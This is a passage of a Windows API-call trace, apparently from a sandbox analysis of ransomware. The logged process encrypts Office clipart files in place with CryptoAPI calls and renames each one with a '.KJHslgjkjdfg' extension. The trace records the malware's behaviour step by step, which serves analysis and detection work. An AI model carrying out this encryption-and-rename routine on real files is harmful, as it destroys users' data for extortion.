ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0198.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.816] GetProcessHeap () returned 0x990000 [0198.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.816] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.819] GetProcessHeap () returned 0x990000 [0198.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.820] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x273e, lpOverlapped=0x0) returned 1 [0198.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2740, dwBufLen=0x2740 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2740) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2740, lpOverlapped=0x0) returned 1 [0198.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.821] SetEndOfFile (hFile=0x130) returned 1 [0198.824] GetProcessHeap () returned 0x990000 [0198.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.824] GetProcessHeap () returned 0x990000 [0198.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.kjhslgjkjdfg")) returned 1 [0198.826] CloseHandle (hObject=0x130) returned 1 [0198.826] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0198.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.828] GetProcessHeap () returned 0x990000 [0198.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.828] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.828] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.828] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.830] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.830] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.830] GetProcessHeap () returned 0x990000 [0198.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.830] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.830] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.830] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.831] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.831] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.831] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf36, lpOverlapped=0x0) returned 1 [0198.831] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40, dwBufLen=0xf40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf40) returned 1 [0198.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.831] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf40, lpOverlapped=0x0) returned 1 [0198.831] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.831] SetEndOfFile (hFile=0x130) returned 1 [0198.833] GetProcessHeap () returned 0x990000 [0198.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.833] GetProcessHeap () returned 0x990000 [0198.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.kjhslgjkjdfg")) returned 1 [0198.835] CloseHandle (hObject=0x130) returned 1 [0198.835] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0198.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.836] GetProcessHeap () returned 0x990000 [0198.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.836] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.836] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.838] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.838] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.838] GetProcessHeap () returned 0x990000 [0198.838] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.838] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.839] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.839] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.839] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.839] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.839] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.839] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa50e, lpOverlapped=0x0) returned 1 [0198.841] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa510, dwBufLen=0xa510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa510) returned 1 [0198.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa510, lpOverlapped=0x0) returned 1 [0198.842] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.842] SetEndOfFile (hFile=0x130) returned 1 [0198.845] GetProcessHeap () returned 0x990000 [0198.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.845] GetProcessHeap () returned 0x990000 [0198.845] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.845] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.kjhslgjkjdfg")) returned 1 [0198.847] CloseHandle (hObject=0x130) returned 1 [0198.847] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0198.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.848] GetProcessHeap () returned 0x990000 [0198.848] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.848] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.848] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.850] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.850] GetProcessHeap () returned 0x990000 [0198.850] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.850] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.850] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.850] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.850] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.850] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.850] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.850] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.851] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.851] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.851] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6e74, lpOverlapped=0x0) returned 1 [0198.854] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6e80, dwBufLen=0x6e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6e80) returned 1 [0198.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.854] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6e80, lpOverlapped=0x0) returned 1 [0198.854] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.854] SetEndOfFile (hFile=0x130) returned 1 [0198.857] GetProcessHeap () returned 0x990000 [0198.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.857] GetProcessHeap () returned 0x990000 [0198.857] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.kjhslgjkjdfg")) returned 1 [0198.859] CloseHandle (hObject=0x130) returned 1 [0198.859] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0198.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.861] GetProcessHeap () returned 0x990000 [0198.861] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.861] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.862] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.864] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.864] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.864] GetProcessHeap () returned 